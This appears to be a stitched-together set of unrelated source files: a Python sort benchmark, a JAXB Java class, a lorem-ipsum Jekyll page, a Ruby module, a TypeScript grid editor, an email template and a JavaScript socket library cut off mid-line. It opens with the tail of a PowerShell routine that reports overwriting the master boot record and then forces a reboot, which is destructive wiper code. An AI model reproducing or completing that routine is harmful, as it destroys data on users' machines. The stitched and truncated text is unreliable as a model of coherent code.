$Kernel32::CloseHandle($DriveHandle) Start-Sleep -Seconds 2 [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) Write-Verbose 'Master boot record overwritten successfully.' Restart-Computer -Force } }
# _*_ encoding: utf-8 _*_ import timeit def insertion_sort(nums): """Insertion Sort.""" for index in range(1, len(nums)): val = nums[index] left_index = index - 1 while left_index >= 0 and nums[left_index] > val: nums[left_index + 1] = nums[left_index] left_index -= 1 nums[left_index + 1] = val return nums def insertion_sort_tuples(nums): """Insertion Sort.""" for index in range(1, len(nums)): val = nums[index] left_index = index - 1 while left_index >= 0 and nums[left_index][1] > val[1]: nums[left_index + 1] = nums[left_index] left_index -= 1 nums[left_index + 1] = val return nums if __name__ == '__main__': print(""" The insertion sort algorithm sorts each item sequentially and compares its value to its neighbor, working its way to the end of the list and moving smaller items to the left. Here are the best and worst case scenarios: Input (Worst Case Scenario): lst_one = [x for x in range(0, 2000)] lst_one.reverse() """) lst_one = [x for x in range(0, 2000)] lst_one.reverse() time1 = timeit.timeit('insertion_sort(lst_one)', setup="from __main__ import insertion_sort, lst_one",number=500) print(""" Number of runs = 500 Average Time = {} Input (Best Case Scenario): lst_two = [x for x in range(0, 2000)] """.format(time1)) lst_two = [x for x in range(0, 2000)] time2 = timeit.timeit('insertion_sort(lst_two)', setup="from __main__ import insertion_sort, lst_two",number=500) print(""" Number of runs = 500 Average Time = {} """.format(time2))
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vJAXB 2.1.10 in JDK 6 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2012.06.29 at 10:15:17 AM BST // package org.purl.dc.terms; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlType; import org.purl.dc.elements._1.SimpleLiteral; /** * <p>Java class for TGN complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType name="TGN"> * &lt;simpleContent> * &lt;restriction base="&lt;http://purl.org/dc/elements/1.1/>SimpleLiteral"> * &lt;/restriction> * &lt;/simpleContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "TGN") public class TGN extends SimpleLiteral { }
--- layout: page title: Diane Haney's 72nd Birthday date: 2016-05-24 author: Elizabeth Snyder tags: weekly links, java status: published summary: Duis pretium eu orci ac varius. banner: images/banner/wedding.jpg booking: startDate: 08/22/2016 endDate: 08/24/2016 ctyhocn: BDRSMHX groupCode: DH7B published: true --- Aliquam pretium, massa ac porttitor auctor, purus odio sollicitudin tellus, et venenatis odio ante ut diam. Nam a felis diam. Maecenas ut orci laoreet, interdum ex tempor, tristique ipsum. Nulla magna quam, placerat sed varius at, laoreet ut arcu. Donec enim arcu, pulvinar at purus nec, ultricies imperdiet tortor. Integer luctus venenatis aliquet. Nunc consectetur in enim non pharetra. Sed ut quam feugiat, congue leo eu, rutrum ipsum. Maecenas scelerisque sem nec elit iaculis, eu tristique nisl accumsan. Ut commodo ut purus eu eleifend. Nunc a tortor vitae odio facilisis molestie vitae ut elit. Curabitur pharetra elit ante, tristique semper nisi efficitur at. Suspendisse potenti. Vestibulum fringilla, metus at cursus euismod, nisi leo consectetur nisl, ut volutpat est augue et orci. Fusce eget aliquam turpis. Donec et imperdiet quam, id euismod felis. Nulla tempus vel diam vestibulum tristique. Fusce ligula nisi, ornare vitae luctus sed, laoreet vitae dui. In ligula lectus, hendrerit quis hendrerit auctor, tempor sit amet mi. Phasellus dignissim erat sit amet lectus auctor, in ultrices ipsum lobortis. Etiam ut odio eleifend, volutpat sem vitae, laoreet justo. * Mauris tincidunt massa eu neque sodales iaculis * Ut scelerisque lectus et urna euismod dapibus * Suspendisse finibus erat et velit euismod maximus * Fusce rutrum lectus et elit luctus, quis tempor tortor congue * Integer ut nibh at velit imperdiet placerat in vel justo * Integer sit amet nunc elementum, bibendum justo et, eleifend neque. Vestibulum id augue ligula. Fusce vestibulum enim at augue sagittis, at ultrices lacus gravida. Sed sit amet dignissim lectus. Nulla nec erat rhoncus, pulvinar est id, tempor purus. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Praesent sed aliquet orci. Donec pulvinar erat ut lacus auctor, eu placerat velit placerat. Ut non feugiat sapien. Fusce arcu velit, efficitur vel commodo ut, fermentum ut tortor. Sed commodo, arcu at gravida consequat, erat lectus congue mauris, at finibus neque neque eget dolor. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; In vitae enim semper, convallis orci mollis, aliquam augue. Ut felis risus, dignissim ut nibh a, suscipit rhoncus purus. Nulla molestie, sapien id pellentesque euismod, lectus sapien aliquam libero, eu sodales lorem nunc at augue. Donec sit amet commodo ante, eget suscipit enim. Integer eu nisl cursus, finibus urna non, commodo massa. Donec vel eros et diam accumsan ornare. Aenean aliquam facilisis diam non gravida. In lorem arcu, imperdiet nec metus eu, elementum eleifend velit. Morbi ut ligula nec orci rhoncus molestie. Etiam tincidunt lorem pulvinar metus placerat rutrum.
require "fileutils" module Gnome module Wallpaper module Changer CONFIG_DIR = "#{ENV['HOME']}/.config/gnome-wallpaper-changer" CONFIG_FILE = "#{CONFIG_DIR}/config.yml" THUMB_DIR = "#{CONFIG_DIR}/thumbs" PID_FILE = "#{CONFIG_DIR}/updater.pid" LOG_FILE = "#{CONFIG_DIR}/updater.log" AUTOSTART_DIR = "#{ENV['HOME']}/.config/autostart" AUTOSTART = "#{AUTOSTART_DIR}/gnome-wallpaper-changer.desktop" end end end require "gnome-wallpaper-changer/version" require "gnome-wallpaper-changer/reloader" require "gnome-wallpaper-changer/configuration" require "gnome-wallpaper-changer/controller" require "gnome-wallpaper-changer/updater" require "gnome-wallpaper-changer/resizer" require "gnome-wallpaper-changer/runner"
import * as pako from "pako" import {Point} from "./Utils" import {DrawHelper} from "./DrawHelper" import {InputManager} from "./InputManager" import {KeyBindings} from "./InputManager" import {Data, Entity} from "./Entity" import {Grid} from "./Grid" export const COLOR_SCHEME = { background: "#282c34", borders: "#4f5052", crosshair: "#e0e0e0", }; export const OPTIONS = { GRID_SIZE: 40, ENTITY_SCALEUP: 10, SQUARES_WIDE: 50, SQUARES_HIGH: 50, BORDER_WIDTH: 4, FONT_SIZE: 25, CAMERA_MOVE_SPEED: 10, CURRENT_SELECTED_ITEM_OPACITY: .5 } enum LINE_SNAP{ None, Vertical, Horizontal, } export class Editor{ /*static readonly GRID_SIZE = 40; static readonly ENTITY_SCALEUP = 10; static readonly SQUARES_WIDE = 30; static readonly SQUARES_HIGH = 30; static readonly BORDER_WIDTH = 4; static readonly FONT_SIZE = 25; static readonly CAMERA_MOVE_SPEED = 10; static readonly CURRENT_SELECTED_ITEM_OPACITY = .5;*/ private static _canvas: HTMLCanvasElement; private static _ctx: CanvasRenderingContext2D; private static _menu: HTMLDivElement; private static _menu_button: HTMLDivElement; private static _import_button: HTMLDivElement; private static _export_button: HTMLDivElement; private static _last_mouse_grid_position: Point = new Point(0,0); private static _mouse_grid_position: Point = new Point(0,0); static get mouse_grid_position(): Point{ return this._mouse_grid_position; } private static _current_selected_item: Entity; private static _line_snap_type: LINE_SNAP; private static _unused_ids: number[] = []; private static _entities: Entity[] = []; private static _global_animators: Animator[] = []; private static _grid: Grid; static grid: number[][]; static Init(){ this._canvas = document.getElementById("editorCanvas") as HTMLCanvasElement; this._ctx = this._canvas.getContext("2d"); this._menu_button = document.getElementById("menuButton") as HTMLDivElement; this._menu_button.onclick = function(){ Editor.ToggleMenu(); } //Setup any styling this._canvas.style.backgroundColor=COLOR_SCHEME.background; this._canvas.oncontextmenu = function (e) { e.preventDefault(); }; this._canvas.onclick = function(){ Editor.CloseMenu(); } //test var test = "0eNqV0ckKwjAQBuB3+c8p2LRUzKuISJdBAu0kJFFaSt7dLh4EA9LjbB/DzIymf5J1mgPUDN0a9lDXGV4/uO7XXJgsQUEHGiDA9bBGNFpH3mfB1eytcSFrqA+IApo7GqHyeBMgDjpo2sUtmO78HBpyS8M/S8Aav4wbXrdYyKwQmKBOMYofTR7X8o8m0GlH7V6SCbs4bCfpMkGXh+kiRVfrsbcHqa9/CrzI+b2hLGVVnWUuLzG+ARDGqi4="; this.LoadBlueprint(test); InputManager.AddKeyEvent(false, KeyBindings.DropItem, ()=>{ this._current_selected_item = undefined; }); InputManager.AddKeyEvent(false, KeyBindings.Rotate, ()=>{ if(this._current_selected_item){ this._current_selected_item.Rotate(); } }); this._grid = new Grid( OPTIONS.GRID_SIZE, new Point(OPTIONS.SQUARES_WIDE, OPTIONS.SQUARES_HIGH), OPTIONS.BORDER_WIDTH, COLOR_SCHEME.borders, COLOR_SCHEME.crosshair, COLOR_SCHEME.background, OPTIONS.FONT_SIZE ) this.CreateMenu(); this.Resize(); Data.LoadImages(); } static Update(){ //Handle line snap if(InputManager.IsKeyDown(KeyBindings.LineSnap)){ if(this._line_snap_type == LINE_SNAP.None){ let diff = this._mouse_grid_position.SubtractC(this._last_mouse_grid_position); if(diff.x != 0){ this._line_snap_type = LINE_SNAP.Horizontal; } if(diff.y != 0){ this._line_snap_type = LINE_SNAP.Vertical } } } else{ this._line_snap_type = LINE_SNAP.None; } this._last_mouse_grid_position = this._mouse_grid_position.Copy(); this._mouse_grid_position = this.ScreenToGridCoords(InputManager.mouse_position); this._mouse_grid_position.Clamp( {x: 1, y: 1}, {x: OPTIONS.SQUARES_WIDE, y: OPTIONS.SQUARES_HIGH} ) if(this._line_snap_type == LINE_SNAP.Horizontal){ this._mouse_grid_position.y = this._last_mouse_grid_position.y; } else if(this._line_snap_type == LINE_SNAP.Vertical){ this._mouse_grid_position.x = this._last_mouse_grid_position.x; } DrawHelper.ClearScreen(this._ctx); //Handle Camera Movement if(InputManager.IsKeyDown(KeyBindings.MoveRight)){ DrawHelper.camera_position.Add({x: OPTIONS.CAMERA_MOVE_SPEED, y:0}); } else if(InputManager.IsKeyDown(KeyBindings.MoveLeft)){ DrawHelper.camera_position.Add({x: -OPTIONS.CAMERA_MOVE_SPEED, y:0}); } if(InputManager.IsKeyDown(KeyBindings.MoveDown)){ DrawHelper.camera_position.Add({x: 0, y: OPTIONS.CAMERA_MOVE_SPEED}); } else if(InputManager.IsKeyDown(KeyBindings.MoveUp)){ DrawHelper.camera_position.Add({x: 0, y: -OPTIONS.CAMERA_MOVE_SPEED}); } DrawHelper.camera_position.Clamp( { x: 0, y: 0}, { x: OPTIONS.GRID_SIZE*OPTIONS.SQUARES_WIDE - this._canvas.width, y: OPTIONS.GRID_SIZE*OPTIONS.SQUARES_HIGH - this._canvas.height } ) //Handle Placement if(this._current_selected_item && InputManager.IsMouseDown(0)){ this.TryPlace(); } if(InputManager.IsMouseDown(2)){ this.TryRemove(); } if(InputManager.IsMouseDown(1)){ console.log(this._grid); } this._grid.DrawCrosshairs(this._ctx); this._grid.DrawGrid(this._ctx); for(let key in this._global_animators){ let animator = this._global_animators[key]; animator.Update(); } if(this._current_selected_item){ this._current_selected_item.position = this._mouse_grid_position.Copy(); this._current_selected_item.Draw(this._ctx, OPTIONS.CURRENT_SELECTED_ITEM_OPACITY); } this._grid.DrawRulers(this._ctx); } static TryRemove(){ this._grid.RemoveAtPos(this.mouse_grid_position.Copy()); } static TryPlace(){ if(this._menu.classList.contains("open")) return; // console.log("Trying place at "+ this.mouse_grid_position.x); // console.log(this.grid[this.mouse_grid_position.x][this.mouse_grid_position.y]); let is_clear = this._grid.IsClear(this.mouse_grid_position.Copy(), this._current_selected_item); if(is_clear.Empty){ console.log("-Space is empty"); this._grid.Place(this._current_selected_item, this._mouse_grid_position.Copy()); let entity_name = this._current_selected_item.properties.name; let direction = this._current_selected_item.GetDirection(); let grid_size = { x: this._current_selected_item.properties.grid_size.x, y: this._current_selected_item.properties.grid_size.y } let children = []; if(this._current_selected_item.properties.children){ children = this._current_selected_item.properties.children; } let new_id = this._grid.GetNextID(); this._current_selected_item = new Entity(new_id, this._mouse_grid_position.Copy()); this._current_selected_item.LoadFromData(entity_name); this._current_selected_item.SetDirection(direction); this._current_selected_item.properties.grid_size = new Point(grid_size.x, grid_size.y); for(let i = 0; i<children.length; i++){ this._current_selected_item.properties.children[i].offset = children[i].offset; } // console.log("placed"); // console.log(this.grid); } else if(is_clear.SameType){ console.log("same type"); this.TryRemove(); this.TryPlace(); } else{ console.log("-Space is FULL"); } //console.log(this.current_selected_item); } static SelectItem(value: string){ let id = this._grid.GetNextID(); let new_entity = new Entity(id, this._mouse_grid_position.Copy()); new_entity.LoadFromData(value); this._current_selected_item = new_entity; } static GetAnimator(anim: string): Animator{ return this._global_animators[anim]; } static AddAnimator(anim: Animator, name: string){ this._global_animators[name] = anim; } /* static DrawRulers(){ let text_centering_factor = (OPTIONS.GRID_SIZE - OPTIONS.FONT_SIZE)/2; DrawHelper.DrawRect( this._ctx, new Point(DrawHelper.camera_position.x,DrawHelper.camera_position.y), new Point(this._canvas.width, OPTIONS.GRID_SIZE), { color:COLOR_SCHEME.background } ) DrawHelper.DrawRect( this._ctx, new Point(DrawHelper.camera_position.x,DrawHelper.camera_position.y), new Point(OPTIONS.GRID_SIZE, this._canvas.height), { color:COLOR_SCHEME.background } ) //Draw Numbers horizontal for(let x = 1; x<OPTIONS.SQUARES_WIDE; x++){ let x_pos = x*OPTIONS.GRID_SIZE; DrawHelper.DrawText( this._ctx, new Point( x_pos+text_centering_factor, OPTIONS.FONT_SIZE+text_centering_factor - 5 + DrawHelper.camera_position.y ), ("0"+x).slice(-2), { color: COLOR_SCHEME.borders, font: "700 "+OPTIONS.FONT_SIZE+"px Share Tech Mono" } ); DrawHelper.DrawLine( this._ctx, new Point(x_pos+OPTIONS.GRID_SIZE, DrawHelper.camera_position.y), new Point(x_pos+OPTIONS.GRID_SIZE, DrawHelper.camera_position.y + OPTIONS.GRID_SIZE), { color: COLOR_SCHEME.borders, line_width: OPTIONS.BORDER_WIDTH } ) } //Draw Numbers vertical for(let y = 1; y<OPTIONS.SQUARES_HIGH; y++){ let y_pos = y*OPTIONS.GRID_SIZE; DrawHelper.DrawText( this._ctx, new Point( text_centering_factor + DrawHelper.camera_position.x, y_pos+OPTIONS.FONT_SIZE+text_centering_factor - 5 ), ("0"+y).slice(-2), { color: COLOR_SCHEME.borders, font: "700 "+OPTIONS.FONT_SIZE+"px Share Tech Mono" } ); DrawHelper.DrawLine( this._ctx, new Point(DrawHelper.camera_position.x, y_pos+OPTIONS.GRID_SIZE), new Point(DrawHelper.camera_position.x + OPTIONS.GRID_SIZE, y_pos+OPTIONS.GRID_SIZE), { color: COLOR_SCHEME.borders, line_width: OPTIONS.BORDER_WIDTH } ) } //Little square in top left to hide overlapping numbers DrawHelper.DrawRect( this._ctx, new Point(DrawHelper.camera_position.x,DrawHelper.camera_position.y), new Point(OPTIONS.GRID_SIZE, OPTIONS.GRID_SIZE), { color:COLOR_SCHEME.background } ) //Bottom border below numbers DrawHelper.DrawLine( this._ctx, new Point(DrawHelper.camera_position.x, DrawHelper.camera_position.y+OPTIONS.GRID_SIZE), new Point(DrawHelper.camera_position.x+this._canvas.width, DrawHelper.camera_position.y+OPTIONS.GRID_SIZE), { color:COLOR_SCHEME.borders, line_width: OPTIONS.BORDER_WIDTH } ) //Right border to the right of numbers DrawHelper.DrawLine( this._ctx, new Point(DrawHelper.camera_position.x+OPTIONS.GRID_SIZE, DrawHelper.camera_position.y), new Point(DrawHelper.camera_position.x+OPTIONS.GRID_SIZE, DrawHelper.camera_position.y+this._canvas.height), { color:COLOR_SCHEME.borders, line_width: OPTIONS.BORDER_WIDTH } ) } */ static CreateMenu(){ let accent_counter = 1;//Fancy tree colors InputManager.AddKeyEvent(false, KeyBindings.ToggleMenu, function(){ Editor.ToggleMenu(); }) this._menu = document.getElementById("menu") as HTMLDivElement; //create new ul for each menu type for(let type of Data.menu_types){ let new_link = document.createElement("div"); new_link.innerHTML = type.split("-").join(" "); let new_ul = document.createElement("ul"); new_ul.id = type; //Fancy tree colors new_ul.classList.add("accent"+accent_counter); accent_counter++; new_link.onclick = function(){ if(new_ul.classList.contains("open")){ new_ul.classList.remove("open"); } else{ new_ul.classList.add("open"); } } this._menu.appendChild(new_link); this._menu.appendChild(new_ul); } for(let entity of Data.entities){ let new_li = document.createElement("li"); new_li.innerHTML = "<span>"+entity.name+"</span>"; let value = entity.name; new_li.onclick = ()=>{ Editor.SelectItem(value); } document.getElementById(entity.menu_type).appendChild(new_li); } } static ToggleMenu(){ if(this._menu.classList.contains("open")){ this.CloseMenu(); } else{ this._menu.classList.add("open"); } } static CloseMenu(){ this._menu.classList.remove("open"); } static Resize(){ this._canvas.width = window.innerWidth; this._canvas.height = window.innerHeight; this._canvas.style.height = window.innerHeight+"px"; this._canvas.style.width = window.innerWidth+"px"; this._grid.Resize(new Point( this._canvas.width, this._canvas.height )); } static ScreenToCameraCoords(p: Point): Point{ return p.AddC(DrawHelper.camera_position); } static CameraToGridCoords(p: Point): Point{ return new Point( Math.round(p.x / OPTIONS.GRID_SIZE - .5), Math.round(p.y / OPTIONS.GRID_SIZE - .5) ); } static ScreenToGridCoords(p: Point): Point{ return this.CameraToGridCoords(this.ScreenToCameraCoords(p)); } static DecodeString(b64: string): any{ try{ let str_data = atob(b64.substr(1)); let char_data = str_data.split('').map(function(x){return x.charCodeAt(0);}); let bin_data = new Uint8Array(char_data); let data = pako.inflate(bin_data); let str = String.fromCharCode.apply(null, new Uint16Array(data)); let json_data = JSON.parse(str); console.log(json_data); return json_data; } catch (e){ console.log("Oops... tis borked"); } } static LoadBlueprint(b64: string){ let blueprint = this.DecodeString(b64).blueprint; for(let entity of blueprint.entities){ console.log(entity); } } } export class Animator{ private current_frame: number; private frame_count: number; private current_tick: number; private ticks_per_frame:number; constructor(frame_count:number, ticks_per_frame:number){ this.current_frame = 0; this.frame_count = frame_count; this.current_tick = 0; this.ticks_per_frame = ticks_per_frame; } public Update(){ if(this.current_tick < this.ticks_per_frame){ this.current_tick++; } else{ this.current_tick = 0; if(this.ticks_per_frame < 0){ this.current_frame+=Math.abs(this.ticks_per_frame); } else{ this.current_frame++; } if(this.current_frame >= this.frame_count){ this.current_frame = 0; } } } public CurrentFrame(): number{ return this.current_frame; } } window.onload = function(){ Editor.Init(); UpdateLoop(); } window.onresize = function(){ Editor.Resize(); } function UpdateLoop(){ //Do this so Editor can still use 'this' within the update function Editor.Update(); window.requestAnimationFrame(UpdateLoop); }
<h1>Password Reset Request</h1> <p>To confirm changing your password, please click on the link below:</p> <a href="{{resetUrl}}">Change Password.</p> <p>-- The StoryQuest Team</p>
/* * Glue - Robust Go and Javascript Socket Library * Copyright (C) 2015 Roland Singer <roland.singer[at]desertbit.com> * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ var glue = function(host, options) { // Turn on strict mode. 'use strict'; // Include the dependencies. @@include('./emitter.js') @@include('./websocket.js') @@include('./ajaxsocket.js') /* * Constants */ var Version = "1.9.1", MainChannelName = "m"; var SocketTypes = { WebSocket: "WebSocket", AjaxSocket: "AjaxSocket" }; var Commands = { Len: 2, Init: 'in', Ping: 'pi', Pong: 'po', Close: 'cl', Invalid: 'iv', DontAutoReconnect: 'dr', ChannelData: 'cd' }; var States = { Disconnected: "disconnected", Connecting: "connecting", Reconnecting: "reconnecting", Connected: "connected" }; var DefaultOptions = { // The base URL is appended to the host string. This value has to match with the server value. baseURL: "/glue/", // Force a socket type. // Values: false, "WebSocket", "AjaxSocket" forceSocketType: false, // Kill the connect attempt after the timeout. connectTimeout: 10000, // If the connection is idle, ping the server to check if the connection is stil alive. pingInterval: 35000, // Reconnect if the server did not response with a pong within the timeout. pingReconnectTimeout: 5000, // Whenever to automatically reconnect if the connection was lost. reconnect: true, reconnectDelay: 1000, reconnectDelayMax: 5000, // To disable set to 0 (endless). reconnectAttempts: 10, // Reset the send buffer after the timeout. resetSendBufferTimeout: 10000 }; /* * Variables */ var emitter = new Emitter, bs = false, mainChannel, initialConnectedOnce = false, // If at least one successful connection was made. bsNewFunc, // Function to create a new backend socket. currentSocketType, currentState = States.Disconnected, reconnectCount = 0, autoReconnectDisabled = false, connectTimeout = false, pingTimeout = false, pingReconnectTimeout = false, sendBuffer = [], resetSendBufferTimeout = false, resetSendBufferTimedOut = false, isReady = false, // If true, the socket is initialized and ready. beforeReadySendBuffer = [], // Buffer to hold requests for the server while the socket is not ready yet. socketID = ""; /* * Include the dependencies */ // Exported helper methods for the dependencies. var closeSocket, send, sendBuffered; @@include('./utils.js') @@include('./channel.js') /* * Methods */ // Function variables. var reconnect, triggerEvent; // Sends the data to the server if a socket connection exists, otherwise it is discarded. // If the socket is not ready yet, the data is buffered until the socket is ready. send = function(data) { if (!bs) { return; } // If the socket is not ready yet, buffer the data. if (!isReady) { beforeReadySendBuffer.push(data); return; } // Send the data. bs.send(data); }; // Hint: the isReady flag has to be true before calling this function! var sendBeforeReadyBufferedData = function() { // Skip if empty. if (beforeReadySendBuffer.length === 0) { return; } // Send the buffered data. for (var i = 0; i < beforeReadySendBuffer.length; i++) { send(beforeReadySendBuffer[i]); } // Clear the buffer. beforeReadySendBuffer = []; }; var stopResetSendBufferTimeout = function() { // Reset the flag. resetSendBufferTimedOut = false; // Stop the timeout timer if present. if (resetSendBufferTimeout !== false) { clearTimeout(resetSendBufferTimeout); resetSendBufferTimeout = false; } }; var startResetSendBufferTimeout = function() { // Skip if already running or if already timed out. if (resetSendBufferTimeout !== false || resetSendBufferTimedOut) { return; } // Start the timeout. resetSendBufferTimeout = setTimeout(function() { // Update the flags. resetSendBufferTimeout = false; resetSendBufferTimedOut = true; // Return if already empty. if (sendBuffer.length === 0) { return; } // Call the discard callbacks if defined. var buf; for (var i = 0; i < sendBuffer.length; i++) { buf = sendBuffer[i]; if (buf.discardCallback && utils.isFunction(buf.discardCallback)) { try { buf.discardCallback(buf.data); } catch (err) { console.log("glue: failed to call discard callback: " + err.message); } } } // Trigger the event if any buffered send data is discarded. triggerEvent("discard_send_buffer"); // Reset the buffer. sendBuffer = []; }, options.resetSendBufferTimeout); }; var sendDataFromSendBuffer = function() { // Stop the reset send buffer tiemout. stopResetSendBufferTimeout(); // Skip if empty. if (sendBuffer.length === 0) { return; } // Send data, which could not be send... var buf; for (var i = 0; i < sendBuffer.length; i++) { buf = sendBuffer[i]; send(buf.cmd + buf.data); } // Clear the buffer again. sendBuffer = []; }; // Send data to the server. // This is a helper method which handles buffering, // if the socket is currently not connected. // One optional discard callback can be passed. // It is called if the data could not be send to the server. // The data is passed as first argument to the discard callback. // returns: // 1 if immediately send, // 0 if added to the send queue and // -1 if discarded. sendBuffered = function(cmd, data, discardCallback) { // Be sure, that the data value is an empty // string if not passed to this method. if (!data) { data = ""; } // Add the data to the send buffer if disconnected. // They will be buffered for a short timeout to bridge short connection errors. if (!bs || currentState !== States.Connected) { // If already timed out, then call the discard callback and return. if (resetSendBufferTimedOut) { if (discardCallback && utils.isFunction(discardCallback)) { discardCallback(data); } return -1; } // Reset the send buffer after a specific timeout. startResetSendBufferTimeout(); // Append to the buffer. sendBuffer.push({ cmd: cmd, data: data, discardCallback: discardCallback }); return 0; } // Send the data with the command to the server. send(cmd + data); return 1; }; var stopConnectTimeout = function() { // Stop the timeout timer if present. if (connectTimeout !== false) { clearTimeout(connectTimeout); connectTimeout = false; } }; var resetConnectTimeout = function() { // Stop the timeout. stopConnectTimeout(); // Start the timeout. connectTimeout = setTimeout(function() { // Update the flag. connectTimeout = false; // Trigger the event. triggerEvent("connect_timeout"); // Reconnect to the server. reconnect(); }, options.connectTimeout); }; var stopPingTimeout = function() { // Stop the timeout timer if present. if (pingTimeout !== false) { clearTimeout(pingTimeout); pingTimeout = false; } // Stop the reconnect timeout. if (pingReconnectTimeout !== false) { clearTimeout(pingReconnectTimeout); pingReconnectTimeout = false; } }; var resetPingTimeout = function() { // Stop the timeout. stopPingTimeout(); // Start the timeout. pingTimeout = setTimeout(function() { // Update the flag. pingTimeout = false; // Request a Pong response to check if the connection is still alive. send(Commands.Ping); // Start the reconnect timeout. pingReconnectTimeout = setTimeout(function() { // Update the flag. pingReconnectTimeout = false; // Trigger the event. triggerEvent("timeout"); // Reconnect to the server. reconnect(); }, options.pingReconnectTimeout); }, options.pingInterval); }; var newBackendSocket = function() { // If at least one successfull connection was made, // then create a new socket using the last create socket function. // Otherwise determind which socket layer to use. if (initialConnectedOnce) { bs = bsNewFunc(); return; } // Fallback to the ajax socket layer if there was no successful initial // connection and more than one reconnection attempt was made. if (reconnectCount > 1) { bsNewFunc = newAjaxSocket; bs = bsNewFunc(); currentSocketType = SocketTypes.AjaxSocket; return; } // Choose the socket layer depending on the browser support. if ((!options.forceSocketType && window.WebSocket) || options.forceSocketType === SocketTypes.WebSocket) { bsNewFunc = newWebSocket; currentSocketType = SocketTypes.WebSocket; } else { bsNewFunc = newAjaxSocket; currentSocketType = SocketTypes.AjaxSocket; } // Create the new socket. bs = bsNewFunc(); }; var initSocket = function(data) { // Parse the data JSON string to an object. data = JSON.parse(data); // Validate. // Close the socket and log the error on invalid data. if (!data.socketID) { closeSocket(); console.log("glue: socket initialization failed: invalid initialization data received"); return; } // Set the socket ID. socketID = data.socketID; // The socket initialization is done. // ################################## // Set the ready flag. isReady = true; // First send all data messages which were // buffered because the socket was not ready. sendBeforeReadyBufferedData(); // Now set the state and trigger the event. currentState = States.Connected; triggerEvent("connected"); // Send the queued data from the send buffer if present. // Do this after the next tick to be sure, that // the connected event gets fired first. setTimeout(sendDataFromSendBuffer, 0); }; var connectSocket = function() { // Set a new backend socket. newBackendSocket(); // Set the backend socket events. bs.onOpen = function() { // Stop the connect timeout. stopConnectTimeout(); // Reset the reconnect count. reconnectCount = 0; // Set the flag. initialConnectedOnce = true; // Reset or start the ping timeout. resetPingTimeout(); // Prepare the init data to be send to the server. var data = { version: Version }; // Marshal the data object to a JSON string. data = JSON.stringify(data); // Send the init data to the server with the init command. // Hint: the backend socket is used directly instead of the send function, // because the socket is not ready yet and this part belongs to the // initialization process. bs.send(Commands.Init + data); }; bs.onClose = function() { // Reconnect the socket. reconnect(); }; bs.onError = function(msg) { // Trigger the error event. triggerEvent("error", [msg]); // Reconnect the socket. reconnect(); }; bs.onMessage = function(data) { // Reset the ping timeout. resetPingTimeout(); // Log if the received data is too short. if (data.length < Commands.Len) { console.log("glue: received invalid data from server: data is too short."); return; } // Extract the command from the received data string. var cmd = data.substr(0, Commands.Len); data = data.substr(Commands.Len); if (cmd === Commands.Ping) { // Response with a pong message. send(Commands.Pong); } else if (cmd === Commands.Pong) { // Don't do anything. // The ping timeout was already reset. } else if (cmd === Commands.Invalid) { // Log. console.log("glue: server replied with an invalid request notification!"); } else if (cmd === Commands.DontAutoReconnect) { // Disable auto reconnections. autoReconnectDisabled = true; // Log. console.log("glue: server replied with an don't automatically reconnect request. This might be due to an incompatible protocol version."); } else if (cmd === Commands.Init) { initSocket(data); } else if (cmd === Commands.ChannelData) { // Obtain the two values from the data string. var v = utils.unmarshalValues(data); if (!v) { console.log("glue: server requested an invalid channel data request: " + data); return; } // Trigger the event. channel.emitOnMessage(v.first, v.second); } else { console.log("glue: received invalid data from server with command '" + cmd + "' and data '" + data + "'!"); } }; // Connect during the next tick. // The user should be able to connect the event functions first. setTimeout(function() { // Set the state and trigger the event. if (reconnectCount > 0) { currentState = States.Reconnecting; triggerEvent("reconnecting"); } else { currentState = States.Connecting; triggerEvent("connecting"); } // Reset or start the connect timeout. resetConnectTimeout(); // Connect to the server bs.open(); }, 0); }; var resetSocket = function() { // Stop the timeouts. stopConnectTimeout(); stopPingTimeout(); // Reset flags and variables. isReady = false; socketID = ""; // Clear the buffer. // This buffer is attached to each single socket. beforeReadySendBuffer = []; // Reset previous backend sockets if defined. if (bs) { // Set dummy functions. // This will ensure, that previous old sockets don't // call our valid methods. This would mix things up. bs.onOpen = bs.onClose = bs.onMessage = bs.onError = function() {}; // Reset everything and close the socket. bs.reset(); bs = false; } }; reconnect = function() { // Reset the socket. resetSocket(); // If no reconnections should be made or more than max // reconnect attempts where made, trigger the disconnected event. if ((options.reconnectAttempts > 0 && reconnectCount > options.reconnectAttempts) || options.reconnect === false || autoReconnectDisabled) { // Set the state and trigger the event. currentState = States.Disconnected; triggerEvent("disconnected"); return; } // Increment the count. reconnectCount += 1; // Calculate the reconnect delay. var reconnectDelay = options.reconnectDelay * reconnectCount; if (reconnectDelay > options.reconnectDelayMax) { reconnectDelay = options.reconnectDelayMax; } // Try to reconnect. setTimeout(function() { connectSocket(); }, reconnectDelay); }; closeSocket = function() { // Check if the socket exists. if (!bs) { return; } // Notify the server. send(Commands.Close); // Reset the socket. resetSocket(); // Set the state and trigger the event. currentState = States.Disconnected; triggerEvent("disconnected"); }; /* * Initialize section */ // Create the main channel. mainChannel = channel.get(MainChannelName); // Prepare the host string. // Use the current location if the host string is not set. if (!host) { host = window.location.protocol + "//" + window.location.host; } // The host string has to start with http:// or https:// if (!host.match("^http://") && !host.match("^https://")) { console.log("glue: invalid host: missing 'http://' or 'https://'!"); return; } // Merge the options with the default options. options = utils.extend({}, DefaultOptions, options); // The max value can't be smaller than the delay. if (options.reconnectDelayMax < options.reconnectDelay) { options.reconnectDelayMax = options.reconnectDelay; } // Prepare the base URL. // The base URL has to start and end with a slash. if 